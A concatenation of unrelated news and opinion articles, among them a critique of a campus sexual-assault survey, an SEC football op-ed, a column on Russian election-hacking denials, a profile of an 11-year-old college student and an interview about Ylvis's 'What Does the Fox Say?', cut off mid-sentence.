and how it could lead students to think they were incapacitated when they were drunk but still cognizant of their actions, they basically shrugged. “That’s a fairly standard phrase that’s used on a number of other surveys” and it was taken from the White House’s task force on sexual violence, Westat Vice President David Cantor said. “We actually modified that statement a bit to make it more strict,” and “it’s not just talking about being drunk.” End of story. No one seemed to appreciate the irony that the AAU and Westat were bragging about designing a survey that avoided the pitfalls of all its predecessors, and yet it made the same giant honking mistake as every survey before it: treating incapacitation as something self-evident. There’s every reason to suspect that students who were already uneasy about prior sexual encounters – perhaps because they were drinking at the time – would identify in retrospect as “incapacitated,” if prompted, unless they were told in detail that it’s more than just acting stupid when you’re drunk. Brett Sokolow of the National Center for Higher Education Risk Management, which advises schools how to design sexual-misconduct policies and proceedings, gave a thorough definition of incapacitation 10 years ago that could have been useful to AAU and Westat: One becomes under the influence of alcohol as soon as one has anything to drink. Impairment begins as soon as alcohol enters the bloodstream, and increases with consumption. Intoxication and inebriation are synonyms, as is drunkenness, and corresponds to a .08 blood alcohol concentration. Incapacitation is a state beyond drunkenness or intoxication. What is confusing about incapacity is that it has nothing to do with an amount of alcohol or a specific blood alcohol concentration. In fact, some drunk people will be incapacitated, and some will not. Incapacity can be defined with respect to how the alcohol consumed impacts on someone’s decision-making capacity, awareness of consequences, and ability to make fully-informed judgments. Though his discussion goes on to give colleges far too much leeway to judge that what appeared consensual, to both parties, at the time of sex, was actually not consensual in retrospect, at least those conditions put some intelligible limits on the concept of incapacitation. I’ll have more thoughts on this report, and a review of other skeptical reactions, in a future post. Like The College Fix on Facebook / Follow us on Twitter IMAGE: RogaMuffin/Flickr -Subtle changes are made all the time in college football, but it's the wholesale changes that really help separate the men from the boys. Sometimes you have to revolutionize your approach in order to improve your product. See: recruiting, the expansion craze, offensive philosophies, offseason schedules, rejuvenation tactics away from the field and satellite camps. You simply can't fight change. Doing so is foolish. That's one reason the SEC has been so successful during the past decade. Those eight national championships in 10 years didn't just materialize overnight. Careful planning and excellent business sense from league officials, universities and coaches have helped the SEC rise above the rest in college football. Thanks to the skillful mind of former SEC commissioner Mike Slive, the SEC has stayed ahead of the curve for most of the 2000's. New commissioner Greg Sankey is in the infancy of his reign as league commissioner, but if he wants to give the SEC another leg up on the competition, he could take a radical step into future planning. Petition the NCAA to get rid of divisions in college football ... even though the SEC created them in 1992. Honestly, what's the point? They are outdated, and hurt the conference more than help it. But, Edward, what about traditional division rivalries? Why do you hate the fact that Missouri is on the western side of the conference, but plays in the Eastern Division? For starters, yes, it makes no sense to have Missouri in the East. Secondly, this is a great way to make sure that traditional rivalries are preserved and respected. I love traditional division rivalries so much that I think the league is bleeding real conference rivalries dry with its silly format. Nine conference games aside, the 6-1-1 conference scheduling model (one permanent and one rotating opponent in the opposite division) does no one any favors. It's bad for the players, bad for the fans and really leaves a lot to be desired when it comes to league play. Obviously, people above my pay grade would have to dissect this more thoroughly, but if the SEC pushes the NCAA to get rid of divisions, conferences can keep their rivalries and even invest in older ones. Example: Florida and Auburn began play in 1912 and played for 58 consecutive years (1945-2002). The additions of Missouri and Texas A&M in 2012 further extinguished this rivalry by eliminating another cross-divisional opponent. Florida and Auburn aren't slated to play until 2019 in Gainesville, and at Auburn in 2024. Without divisions, Florida could keep Georgia, Tennessee and LSU (the current permanent West opponent) on its schedule, and add Auburn. The Tigers could keep Alabama, Georgia and Tennessee, and add Florida. Protect all the key in-conference rivalries for schools and set four or five permanent opponents for each team. Rotate the others with a home-and-home series, mix and match, whatever. If you have four permanent opponents and four different rotators or five permanent opponents and three rotators, players would see each SEC team in three years. Doing home-and-homes would push that to five years in either format. Of course, time between rotators decreases with nine conference games. Players would see every school in four years and you're keeping the most important games each season. Two wins right there. And disproportionate permanent crossovers would be gone. You're welcome, LSU. Elimination of divisions would also ensure that the two best teams would play in Atlanta every year. The West has won seven straight conference titles, six by 14 points or more. Florida (2008) is the last East team to win the conference. Let's not act like there hasn't been an imbalance of power in the SEC, thanks to divisions. There is an obvious disparity, creating more worry for teams and their true playoff hopes. The SEC title game has mostly gotten the pairings right by overall record, but there have been instances in the past where a ho-hum title game would have been replaced by a more deserving matchup, like Alabama and LSU in 2011 and Auburn-Arkansas in 2010. Nothing wrong with getting the most competitive game possible in your most important game every year by guaranteeing No. 1 vs. No. 2, which -- wait for it -- increases playoff hopes even more! On the outside, this looks simple. With the sport evolving more and more, you might as well make sure you can get the best product on the field more and more. This is a step in that direction, and it serves the league, its teams and its fans well. -In October, the US Intelligence Community, which includes 16 American intelligence agencies, announced that they were “confident that the Russian Government directed the recent compromises of e-mails from US persons and institutions, including from US political organizations.” Controversy broke out last week over the disputed conclusion that the Russians were attempting to push Donald Trump to victory, as opposed to attempting to undermine the electoral system generally – but there’s been little controversy about whether Russia was behind the WikiLeaks hacks. Except on the right. There, many commentators have insisted that there’s no evidence whatsoever that Vladimir Putin and the Russian government were behind the hacks. Sean Hannity, who used to believe that Julian Assange should go to jail, hosted Assange (whom, Hannity assured his audience, had “done us a favor” by hacking the Democratic National Committee) and kvelled as Assange said that the Russians had nothing to do with the hacks. Trump mouthpiece Bill Mitchell dutifully tweeted Putin’s challenge to the United States, and that tweet received nearly two thousand likes and well over a thousand retweets from sympathetic Trump fans. Here’s the actual story, from CNN: The United States must either stop accusing Russia of meddling in its elections or prove it, a spokesman for Russian President Vladimir Putin said Friday. Presidential spokesman Dmitry Peskov said it was "indecent" of the United States to "groundlessly" accuse Russia of intervention in the US election campaign, Russian state news agency Tass reported. "They should either stop talking about that or produce some proof at last. Otherwise it all begins to look unseemly," Peskov reportedly said about the latest accusations that Russia was responsible for hacker attacks. The celebratory glee from Trump advocates – see, Putin’s denying it, so it must all be a Democratic plot in coordination with the CIA! – is odd, considering that Putin has a long record of lying blatantly about his nefarious activities. In 2012, Russia denied that a spy ring allegedly working for Russia was working for Russia. In May 2015, for example, as Russian troops motored into Ukraine, the government denied that its troops were in Ukraine at all – even as the Russian government issued an order covering up all deaths of Russian troops in the country. In October 2015, the Russian government denied that it or pro-Russian separatists had anything to do with the shooting down of MH17 – and Trump naturally bought Putin’s explanation, stating, “Putin and Russia say they didn’t do it, the other side said they did, no one really knows who did it, probably Putin knows who did it, possibly it was Russia but they are totally denying it.” Last month, Russia denied reports of an air offensive in Aleppo – even though human rights groups reported the airstrikes. Russia, in other words, lies all the time. It’s a dictatorship run by a former KGB operative. Yet Republicans seem to parrot Putin’s line as the truth, so long as that truth benefits Donald Trump. Kellyanne Conway’s ridiculous line that questions about Russian hacking should end if President Obama loved “the country enough” are a shoddy way of shutting down a discussion about the hacking itself. That’s pretty disgusting. But it makes sense from a utilitarian perspective, if not a moral one – many Trump supporters are happy to praise one of the planet’s worst human beings so long as he helps their agenda, and top members of the Trump administration think of Russia as part of the anti-jihadist team, and have some admiration for Putin’s nationalist ambitions (see Bannon, Steve). It’s sad to watch the party of Reagan mimic the Putin party line. But partisanship now trumps decency and truth, obviously. -Share Yesterday, Twitter took the lid off its recent acquisition Vine. It’s a social app that allows you to make six-second, looped, GIF-like videos. It has an interface very reminiscent of Instagram, primarily because for the time being it’s mobile-only (although its deal with Twitter means its content is embeddable in Twitter cards, so Vines are showing up there plenty). Vine is fun, creative, simple, social, and as it turns out, something news outlets are busy experimenting with. It isn’t anything revolutionary, however. It’s not a threat to all that many apps or platforms out there – but Facebook shut it off anyway. Yes, within a day of Vine’s launch, Facebook pulled the ability for Vine users to find Facebook friends who were also using the new app. When asked for comment, a Facebook rep pointed me to this just-posted blog entry: “For the vast majority of developers building social apps and games, keep doing what you’re doing. Our goal is to provide a platform that gives people an easy way to login to your apps, create personalized and social experiences, and easily share what they’re doing in your apps with people on Facebook. This is how our platform has been used by the most popular categories of apps, such as games, music, fitness, news and general lifestyle apps. For a much smaller number of apps that are using Facebook to either replicate our functionality or bootstrap their growth in a way that creates little value for people on Facebook, such as not providing users an easy way to share back to Facebook, we’ve had policies against this that we are further clarifying today (see I.10).” Vine isn’t the only app to feel Facebook’s cold shoulder: Mobile text and voice messaging app Voxer also lost Facebook access recently, because after its update to Messenger, Facebook now sees it as a competitor. Voxer says that while Facebook isn’t where it’s getting user growth from, it is a disappointing development. “We are sorry that a channel for engagement is being shut down by Facebook to the detriment of our community. But we aren’t alone, and it is both a lesson and a warning for other companies to be careful about counting on third party services that can be easily taken away.” Russian search giant Yandex’s Wonder app – essentially a mobile, voice-activated version of Graph Search – is yet another product that found itself on the outs with Facebook. What is the deal? What’s maybe most upsetting about this series of events is that it’s not even surprising anymore. For the last year, social-networking platforms have been cutting off varying levels of access to one another. A quick recap of all the most unfriendly moments in social networking that have been going on: It didn’t use to be like this. I fully realize how “I remember when a gallon of gas used to cost a nickel” that sounds, but it’s true. In their infancy, social-networking platforms had a share-and-share-alike attitude, where you could cross-post and import contacts and find friends and use apps that were pulling mass amounts of useful data from outside APIs. It was a beautiful, brief moment in time. Of course, these platforms weren’t what they are now. They were more basic, features were limited, content wasn’t embedded as richly, there was less to interact with. As they’ve grown, so too have their databases of social information, and thus their worth. Twitter has a tight grip on the interest graph, Facebook on the social graph, Google on the information graph. They want bits and pieces of what the others have. But instead of trading, and sharing, the walls have gone up and silos have been erected. Power grabs are being made. And we lose. Every time, we lose. These moves are perfectly within the rights of the companies making them, but that doesn’t mean it’s right, or that we have to like it. These outlets can’t call themselves Open Platforms anymore; they can’t just reinterpret that phrase to mean that they invite developers to work with them, under their rules, on their terms – and that if you’re an app with a major competitor, it’s game over. It’s also a bit confounding, because it’s not as if Vine is going to challenge Facebook for social network dominance, or Instagram is going to be the new Twitter. The slippery slope here is bigger than just losing contact-finding abilities. Cross-posting could get killed off; developers will become warier about working with a platform, and the goal will be to get acquired, a la Instagram and Vine, to assure compatibility. There’s also fear that if you do happen upon something that really connects and inspires users, the dominant networks are simply going to clone it (although, that largely hasn’t worked out well). With great power comes great responsibility, and a handful of social networks are finding themselves in this position right now. But instead of doing what Spider-Man would do and creating an open, thriving, connected social Web, they are building walls and cutting off ways for us to create and share various types of content. Social networking won’t work if platforms and apps exist as their own solitary islands of wonderful, unshareable, unfindable content. There are hints of very monopolistic behavior. But what can we do? Right now, we’re just watching the big platforms get bigger. We’ll be left wondering what could have become of the small startups that never had a chance to grow. The views expressed here are solely those of the author and do not reflect the beliefs of Digital Trends. -As a professor of literature, rhetoric, and writing at the University of California at Irvine, I’ve discovered that one of the biggest lies about American culture (propagated even by college students) is that Americans don’t read. The truth is that most of us read continuously in a perpetual stream of incestuous words, but instead of reading novels, book reviews, or newspapers like we used to in the ancien régime, we now read text messages, social media, and bite-sized entries about our protean cultural history on Wikipedia. In the great epistemic galaxy of words, we have become both reading junkies and also professional text skimmers. Reading has become a clumsy science, which is why we keep fudging the lab results. But in diagnosing our own textual attention deficit disorder (ADD), who can blame us for skimming? We’re inundated by so much opinion posing as information, much of it the same material with permutating and exponential commentary. Skimming is practically a defense mechanism against the avalanche of info-opinion that has collectively hijacked narrative, reportage, and good analysis. We now skim everything it seems to find evidence for our own belief system. We read to comment on reality (Read: to prove our own belief system). Reading has become a relentless exercise in self-validation, which is why we get impatient when writers don’t come out and simply tell us what they’re arguing. Which reminds me: What the hell am I arguing? With the advent of microblogging platforms, Twitter activism, self-publishing companies, professional trolling, everyone has a microphone now and yet no one actually listens to each other any more. And this is literally because we’re too busy reading. And when we leave comments on an online article, it’s usually an argument we already agree with or one we completely reject before we’ve read the first paragraph. In the age of hyper-information, it’s practically impossible not to be blinded by our own confirmation bias. It’s hard not to be infatuated with Twitter shitstorms either, especially when we’re not the target practice. E-novels, once the theater of the mind for experimental writers, are now mainstream things that look like long-winded websites. Their chapters bleed into the same cultural space on our screen as grocery lists, weather forecasts, calendar reminders, and email messages. What’s the real difference between reading a blog post online by an eloquent blowhard and reading one chapter of a Jonathan Franzen novel? We can literally swipe from one text to another on our Kindle without realizing we changed platforms. What’s the real difference between skimming an informed political critique on a political junkie Tumblr account and reading a focused tirade on the Washington Post’s blog written by putative experts? What’s the real difference between skimming an informed political critique on a political junkie Tumblr account and reading a focused tirade on the Washington Post’s blog written by putative experts? That same blog post will get reposted on other news sites and the same news article will get reposted on other blogs interchangeably. Content—whether thought-provoking, regurgitated, or analytically superficial, impeccably researched, politically doctrinaire, or grammatically atrocious—now occupies the same cultural space, the same screen space, and the same mental space in the public imagination. After awhile, we just stop keeping track of what’s legitimately good because it takes too much energy to separate the crème from the foam. As NPR digitizes itself in the 21st century, buries the “R” in its name, and translates its obsolete podcasts into online news features, every one of its articles now bleeds with its comment section, much of it written by posters who haven’t even read the article in question—essentially erasing the dividing lines between expert, echo chamber, and dilettante, journalist, hack, and self-promoter, reportage, character assassination, and mob frenzy. One silver lining is that the technological democratization of social media has effectively deconstructed the one-sided power of the Big Bad Media in general and influential writing in particular, which in theory makes this era freer and more decentralized than ever. One downside to technological democratization is that it hasn’t lead to a thriving marketplace of ideas, but a greater retreat into the Platonic cave of self-identification with the shadow world. We have never needed a safer and quieter place to collect our thoughts from the collective din of couch quarterbacking than we do now, which is why it’s so easy to preemptively categorize the articles we read before we actually read them to save ourselves the heartache and the controversy. The abundance of texts in this zeitgeist creates a tunnel effect of amnesia. We now have access to so much information that we actually forget the specific nuances of what we read, where we read them, and who wrote them. We forget what’s available all the time because we live in an age of hyperabundant textuality. Now, when we’re lost, we’re just one click away from the answer. Even the line separating what we know and what we don’t know is blurry. We now have access to so much information that we actually forget the specific nuances of what we read, where we read them, and who wrote them. It is precisely because we now consume writing from the moment we wake until the moment we crash—most of it mundane, redundant, speculative, badly researched, partisan, and emojian—that we no longer have the same appetite (or time) for literary fiction, serious think pieces, or top-shelf journalism anymore, even though they’re all readily available. If an article on the Daily Dot shows up on page 3 of a Google search, it might as well not exist at all. The New York Times article we half-read on our iPhone while standing up in the Los Angeles Metro ends up blurring with the 500 modified retweets about that same article on Twitter. Authors aren’t privileged anymore because everyone writes commentary somewhere and everyone’s commentary shows up some place. Only the platform and the means of production have changed. Someday, the Centers for Disease Control will create a whole new branch of research dedicated to studying the infectious disease of cultural memes. Our continuous consumption of text is intricately linked to our continuous forgetting, our continuous reinfection, and our continuous thumbs up/thumbs down approach to reality, which is why we keep reading late into the night, looking for the next place to leave a comment someone has already made somewhere. Whether we like it or not, we’re all victims and perpetrators of this commentary fractal. There seems to be no way out except deeper inside the sinkhole or to go cold turkey from the sound of our own voices. Jackson Bliss is a hapa fiction writer and a lecturer in the English department at the University of California, Irvine. He has a BA in comp lit from Oberlin College , a MFA in fiction from the University of Notre Dame, and a MA in English and a Ph.D. in Literature and Creative Writing from USC. His short stories and essays have appeared in many publications. Photo via Raysonho/Wikimedia Commons -Print Article First-year student Carson Huey-You wants to become a quantum physicist. He scored a 1770 on the SAT, and he was co-valedictorian of his senior class. This semester he is taking 14 hours. His class load, which includes calculus and physics, has him moving between Beasley, Bass and Winton-Scott Halls. His mother, Claretta Huey-You, is never far away. That’s because Carson is 11 years old. He was admitted to TCU when he was 10. Dean of Admission Ray Brown said he cannot recall ever having an applicant so young. Carson couldn’t even apply online because the software is not set to accept someone born in 2002, Brown said. During his admission interview, Carson’s many talents were impressive. Brown said Carson spoke Mandarin Chinese, and played piano in the Admissions Center. Prior to Carson, Brown said the youngest student to enroll at the university during his tenure was Sam Hong, who graduated in 2011 at age 17. Carson’s parents expect him to graduate in four to five years, when he is 15 or 16. Brown said he is pleased to have Carson at the university. “[Carson] is at a place that will genuinely care about him as a person,” Brown said. “A strong ability to focus” Carson’s mother said the first sign that Carson might be gifted came when he was three months old. She said she brought him with her to an eye appointment and the doctor was impressed with Carson’s ability to focus. In fact, Carson was reading chapter books at the age of two, before being potty-trained. He started a Kumon math and reading learning program before he was three. His mother said he could add, subtract, multiply and divide by age three. He was working at an eighth grade level by the age of five. It was at this time Carson’s mother and father began searching for a school for Carson. His young age and advanced intellect made finding a school for Carson challenging, she said. He was rejected several times before enrolling at Accommodated Learning Academy in Grapevine, Texas. ALA principal and teacher Melissa McGowan said the school caters to all students no matter what learning style they prefer. The school has 16 teachers and 55 students, and 30 to 40 percent of the students end up graduating early, McGowan said. Carson graduated from ALA with a 4.0 GPA. He said his cumulative SAT score was 1770 (critical reading: 580, math: 620, writing: 570). When asked about Carson in the classroom, McGowan said, “[Carson] was empathetic for others, and was the kind to help others in a humble way.” McGowan said the high school students adored him. A young Horned Frog Carson and his parents were keen on selecting a college that was a perfect fit for him. He visited the university last fall and met with Dr. Magnus Rittby, the senior dean for the College of Science and Engineering. The purpose of the meeting was to see if he was prepared for college. By the time Carson left, Rittby said he considered him to be “extremely gifted” and ready for college. Carson’s parents said they are supportive of his decision to attend the university. When asked if they were concerned about their son attending the university at such a young age, there was little to be said. Carson’s father, Andre Huey-You, a former pilot, said he is “not pushing [Carson], but trying to hold on to his son, so he doesn’t get too far beyond him.” His mother Claretta is a stay-at-home mother but plans to return to school and enroll in a nursing program. Carson is not the family’s only over-achiever, too. His brother, Cannan, 7, is studying at the eighth grade level. His parents expect him to graduate from high school by age 13. Carson’s mother and father describe their childrens’ intelligence as a blessing. Carson doesn’t want to limit his experiences at the university to the classroom. He is interested in science clubs or foreign language clubs since he is close to mastering Mandarin Chinese. He said he taught himself to play the piano using online videos, books and any resources he could find. Now, he has a teacher to help him develop his musical skills. The teacher made a deal with Carson, saying that she would teach him to play the piano if he would teach her son Mandarin Chinese. He is learning “Für Elise” by Beethoven. Life outside the classroom Like other children his age, Carson hangs out with friends, plays video games and enjoys being active. He and Cannan enjoy playing MineCraft, an online video game. They are also Star Wars fans and have watched every movie. Carson said Star Wars Three, Five and Six are his favorite. His favorite Jedi is Master Windu, and his favorite Sith is Darth Maul. He said his favorite television show is “Myth Busters.” He said he enjoys the physics aspect of the show and “when they blow stuff up.” Carson, who is still learning to swim, enjoys throwing the football, playing basketball and roughhousing with his brother. Rittby said Carson joked that he wanted to join the TCU basketball team. Carson said he is “still trying to find his groove” as he settles into college. He said when he arrives home from classes, he grabs a snack and then begins his homework. When he is finished, he helps his brother with his homework. In every class, Carson managed to find a seat in the front. When asked how his first week went, Carson said, “It was overwhelming but exciting and fun.” If he graduates in four years, he will have a diploma in his hands before he even has a driver’s license. -Kuno Wittmer will take part in the new Pirelli World Challenge SprintX Series, with the Canadian driver having been confirmed at Mills Racing. He’ll join team owner/driver Michael Mills at the wheel of the team’s BMW Z4 GT3 in the three-round championship, which kicks off at Canadian Tire Motorsport Park next month. “I am really looking forward to the inaugural SprintX race at Canadian Tire Motorsport Park.” Wittmer said. “Racing in my home country is always as nice thing, especially in front of family, friends, and representing the BMW brand.” Wittmer, a BMW of North America factory driver, is a former IMSA GT Le Mans class champion, and will bring a wealth of experience to the upstart team, which made its debut at Circuit of The Americas last month. The Texas-based team, with the support BMW of North America, has shifted its focus entirely to SprintX for the remainder of the year. “I’m honored to have the opportunity to participate with Kuno for this new series,” Mills said. “It’s a dream come true to be included in the BMW family, and we are excited to pursue a championship with Kuno and BMW behind us.” BMW of North America Motorsports Manager Victor Leleu added: “Michael had a very successful weekend at COTA in the GTA class, showing great pace and quick adaptation to the BMW Z4 GT3. “The car is fast and reliable, and Michael and Kuno will form a very strong and complementary pair.” The inaugural SprintX weekend takes place at CTMP on May 20-22, with the championship also including stops at Utah Motorsports Campus and Mazda Raceway Laguna Seca. -After sticking to their “never-say-die” attitude on and off the field, the San Francisco Giants have broken the mold for the archetypal play-off team on the club’s way to capturing the greatest victory a team can win for each other and its city, the World Series title. And it’s not the first time in less than a decade we’ve seen this club take it all. Just two seasons ago, the 2010 incarnation of the team shocked the world and showed everyone without a doubt, that pitching beats good hitting. But even with the two extraordinary post-season runs the club has now pulled off twice in the last three years, should the Giants be welcomed into the fold of team’s that many would consider a “dynasty” ? Well, you’d be hard pressed to find anyone in the Bay Area who wouldn’t say yes without hesitation, myself included. But when bringing the term dynasty to the plate, one must stop and consider what a dynasty actually is. In baseball’s colorful, storied history, many teams have come together and pulled off amazing feats to capture championship after championship. From the Oakland Athletics (who won the World Series from 1972-1974), to the St. Louis Cardinals and Stan Musial, who, in his twenty-two year career with the club, helped the team win three of St. Louis’ eleven titles in 1942, ’44, and ’46. And then of course, there’s the New York Yankees, who sit at the top of the title class with a ridiculous twenty-seven championships. In fact, during Mickey Mantle’s seventeen seasons with New York, the team won seven titles. And if you count the year he was drafted (1949), they won nine titles while he was part of the team. They also hold the MLB record for most World Series championships won in a row, winning consecutively from 1949-1953 (they actually almost did it a first time when they were champions from 1936-1939). And it doesn’t hurt that besides the 1980’s, they are the only team in the MLB to win a title in every decade since the 1920’s, where New York won it all for the first time in 1923. So what determines a dynasty? A dynasty is commonly referred to when speaking of monarchs, handing down the torch of crown from heir to heir. Fathers and sons belonging to the same college fraternity, or even a political family that spans generations. Well, it’s kind of the same thing in baseball, only the difference is that things are changing all the time. Players rarely stay with the same team for more than a few years, often making it impossible to classify many winning teams as dynasties due to the many moving pieces, and how different one championship team of the same franchise could look different from another even the next year. This was half the case for the San Francisco Giants this time around. In 2010, the team featured a lights-out pitching staff, bullpen included. The one through five rotation was as such: Tim Lincecum, Matt Cain, Barry Zito, Jonathan Sanchez, and Madison Bumgarner. Position players such as: Aubrey Huff, Freddy Sanchez, Edgar Renteria, Juan Uribe, Cody Ross, Nate Schierholtz, and Andres Torres headed the team’s offense, which didn’t turn any heads. But as most are aware, the clutch and timely hitting of these players proved to be just enough to go all the way. And then 2011 came along, a season full of high expectations for San Francisco. Unfortunately, despite keeping most of the team in tact (bye bye Juan Uribe and Edgar Renteria), the offense took a turn for the worse during most of the season. Players like Aubrey Huff, Miguel Tejada, Eli Whiteside, Cody Ross, and Andres Torres just weren’t getting it done. So what did the team do? They brought up a couple of minor leaguers, Brandon Belt and Brandon Crawford, a first base-man and short-stop, respectively. In addition, they also gave a former organizational pitcher, Ryan Vogelsong, a second chance to pitch with the club, something he hadn’t done since the 2001 season. This helped the team stay afloat despite a lack of offense, and the Giants pitching was still as dominant as ever. But with Buster Posey out with season ending injuries, and the heroes of the previous year not stepping up, the teams playoff hopes quickly vanished and finished eight games behind the Arizona Diamondbacks in the National League West. Fast forward to 2012. With Ryan Vogelsong joining the team for a second consecutive year and replacing Jonathan Sanchez, the revamped rotation looked poised to dominate yet again. During the off-season, the team cleaned house, getting rid of the likes of Aaron Rowand, Cody Ross, Andres Torres, Carlos Beltran, Miguel Tejada, Jeff Keppinger, and Orlando Cabrera. This enabled the club to bring back rookies Belt and Crawford, as well as bring in the highly-anticipated switch-hitting outfielder Melky Cabrera, and speedy center-fielder Angel Pagan. Also joining the squad was outfielder Gregor Blanco and infielder Joaquin Arias, with Hector Sanchez re-joining the club to back-up a healed Buster Posey behind the plate. And it didn’t stop there. Brian Sabean surprised the critics and fans alike when at the July trade deadline, he traded Nate Schierholtz to the Philadelphia Phillies for fellow outfielder Hunter Pence, finally tossing his aging-vet recruitment philosophy to the side. What did this teach us? It shows that the team might be headed in a different, more promising direction, as bringing in talented, young, fast players with high ceilings is definitely a turn-around from what we’ve seen of this clubs players during the last decade or so. Not everyone on the team is a youngster, and shouldn’t be, as having veteran leadership on a club is always important. And the club absolutely had it this year. One of the best, possibly THE best, pickups of the season, saw second base-man Marco Scutaro join the ranks of the Giants, a move most thought nothing more than a typical acquisition for Sabean. How wrong they were. They also brought in veteran Ryan Theriot, who had just won the World Series with St. Louis the previous season. In 2012, the Giants looked very different when comparing them to their 2010 incarnation. Most of the pitching looked exactly the same, with some tweaks here and there, but it was their offense that had changed drastically, and for the better. Instead of holding on to aging vets, the team opted to go for youth and speed. This didn’t mean they got rid of everyone, of course. Returning at third base to prove himself once again, Pablo Sandoval manned the corner in-field position with stunning range, despite his size. Buster Posey put together one of the most impressive seasons a young player has ever had. And of course, you had pitchers Tim Lincecum, Matt Cain, and Madison Bumgarner, all of whom (besides Sandoval in 2010) played key roles in the teams 2010 and 2012 post-season runs. These five players (but not limited too) are this teams cornerstones, and when you add in a budding super-star first-baseman (Brandon Belt) with the potential to be a perennial home-run king, along with the short-stop of the Giants future in Brandon Crawford, the word dynasty definitely starts sounding more and more realistic. So maybe you don’t have to have the same players on the team year in and year out to be considered a dynasty. What the Giants are doing – I think, supports the idea of what a “dynasty” should be in baseball. It’s not about buying the biggest, baddest, most expensive free agents, or having the biggest payroll in all the land. It’s about developing young players. Playing as a team. Doing your research, and not always going along with what everyone else is doing. It helps when your city is also one with a rich history in the game, and featured many of the greats like Willie Mays, Orlando Cepeda, Willie McCovey, Barry Bonds, and Gaylord Perry. San Francisco’s style is anything but traditional, and has proven they can get things done. Two World Series championships in a span of three years is pretty good, and both under manager of the year finalist Bruce Bochy, who has been a integral part to this teams recent success. But when you add in the fact that the franchise had not seen a title since 1954, it makes things a little clearer when realizing just what this team is doing. Besides, they are tied for the fourth most World Series titles in major league history (7), and that sounds pretty good to me. -Hillary Clinton, the Democratic presidential candidate and former secretary of state, will deliver a major speech on economic policy on Monday, laying out in more detail her diagnosis of went wrong with the economy and, in broad strokes, how she will approach fixing it, the campaign says. She will make clear, according to a campaign official, that she doesn't believe wage stagnation and growing inequality are simply facts that we have to live with, caused by trends outside our control. Rather, she will say that the U.S. has the power to change these patterns if we make the right policy choices. Here are seven ways to understand why Clinton is making the case. (1) Clinton's top goal is raising median incomes According to a campaign official, Clinton will make clear she believes that raising incomes for average Americans is the top priority. To understand why that's become a big issue for politicians of all stripes, one doesn't need to look farther than this chart of real median income over the past 40 years. Wages have been going through a prolonged period of stagnation and decline. A related phenomenon to stagnating wages has been growing inequality. The two trends are not the same--in the 1990s, the gap between the rich and poor widened even as average workers saw pay rise. (2) She believes policy can help raise worker pay and reduce inequality The two biggest reasons usually cited for wage stagnation and growing inequality are technology, which makes lower-skill work (like working on a factory floor or clerical duties) less valuable, and globalization, which can boost corporate bottom lines but provide less opportunity for many American workers. No doubt, these are powerful factors. But another way to look at wage stagnation and inequality is through the prism of the financial return to work itself -- as opposed to the return on investments like stocks and bonds. And it has been declining. So shareholders and top executives, compensated in stock, may be more likely to enjoy the fruits of economic activity than average workers. Left-leaning economists like to point out, however, that this phenomenon largely reflects not just global patterns but also national choices, such as wage and labor standards and tax policies -- a view Clinton will endorse. (3) In particular, she is looking to boost women's pay Clinton is going to talk about how we need to do better to help women and families in the economy. Many women take time away from the workplace to raise their children, or they stop working entirely. As a result, they lose opportunities to develop their skills and professional connections. That could be one reason that while younger men and women earn similar amounts, women in middle age and older earn substantially less. (4) And Clinton is looking to make sure more women are in the workforce Clinton will call for paid leave policies to help women work while raising families. That might help raising the number of women in the labor force, which has flatlined after years of growth. How much such a policy will to close pay disparities between men and women isn't as clear. Countries with more generous parental leave polices tend to have even larger pay gaps. (5) Clinton believes the federal minimum wage should be lifted Clinton will call for raising the federal minimum wage from $7.25 an hour. The chart below shows how the the minimum has changed over time, taking into account increases in prices. It's important to note that many states have already raised the minimum wage over the past few years, without federal action. A White House report showed the declining value of the minimum wage after adjusting for inflation. (6) And she believes tax policy changes that favor the wealthy are misguided Clinton is expected to chide Republican presidential candidates for continuing to espouse a GOP philosophy of tax cuts that benefit the wealthy under the theory that that will trickle down to the middle class. Effective tax rates have fallen across all income groups since the 1990s, but especially for the wealthiest Americans. Tax hikes at the end of 2013 and as part of the Affordable Care Act pushed rates back up, though not nearly close to their historic highs. (7) She also wants to make corporations, particularly on Wall Street, more focused on long-term returns The former New York senator is expected to say that our economy is too often driven by hope of a quick profit rather than more enduring and sustainable growth at benefits more people -- and she'll say this is especially a problem on Wall Street. She'll also underscore the need for more investment in things like infrastructure and research and development. As this chart from Robin Greenwood and David Scharfstein of Harvard Business School shows, Wall Street and other financial components of the economy have dramatically grown as a percentage of total economic output. This partly reflects how the stock market has changed. It was once a place where companies regularly went when they wanted to take on some project in order to get new money from banks and investors. Now, it's become a place where firms distribute their earnings to their owners, instead of taking money in, as the economist J.W. Mason has shown. -For a video that was created to fail, “What does the Fox say?” has been incredibly successful, totaling more than 120 million views … but that wasn’t Ylvis’ intent. They swear. Brothers Vegard and Bård Ylvisåker are hosts of Tonight with Ylvis, a late-night talk show in Norway. And when it came time to prepare a promo for their new season, they called on a favor they had with some guys over at Stargate, a Norwegian production company that has produced hits such as Rihanna’s “Diamonds.” After Ylvis helped one of the guys at Stargate prepare a birthday gift, the company had promised to produce something for the comedy duo in return, and now the guys were ready to cash in their I.O.U. “As comedians, it wouldn’t be a good thing if we went to pursue a hit in the States because they could potentially make something that became big, so we thought it would be more fun from a comedian perspective to come home to the talk show and say, ‘Listen we had the chance, we could’ve made it big, but the only idea we got for the song was this old idea about what the fox says so we’re sorry. We screwed up.’ That was the plan,” Bård said. “That would’ve been funny to say on the talk show.” “We had started writing the scripts for the show and we even had the introduction to this video, we wrote that as this ‘We’re sorry, we screwed up, this was all we could do,'” Vegard added. So what happened when the video took off and actually became the brothers’ biggest hit? “We had to rewrite the whole thing.” So let’s back up: When the brothers were brainstorming ideas for possible promos, what made them think about the sounds a fox makes? “It all comes out of a genuine wonder about what kind of sounds it makes,” Vegard said. “For all other known or normal animal species, you have this defined word that they say that is their sound like woof or meow or squeak. The first verse is telling this to the world in a very pretentious way: ‘The mouse goes squeak and the cow goes moo.'” “It started with us making sounds – we had other mammals as well – but we ended up thinking ‘it would be fun with a fox,'” Bård added. So after two days in the vocal studio and a bit of a mishap with the costumes — the brothers joke about wearing a bear and a squirrel costume in the video — they had created the video that would eventually land them on U.S. talk shows and in The New York Times. If only the duo had gone with their original idea … “First we had an idea about why every weekend there’s three billion guys in the entire world that dread the fact that they have to go to a club and they have to dance and no one can actually dance. There’s not one move. There used to be like cha cha cha and now it’s just chaos. That was their original idea and that felt [like it was] searching for a hit,” Bård said. “But [Stargate was] pitched this idea, so that’s why they gave us the songs. And I called one of the guys. I said, ‘The whole thing changed a bit and now we want to make a song about what sound the fox makes.’ I explained that it will be funny for us if we go over and misuse 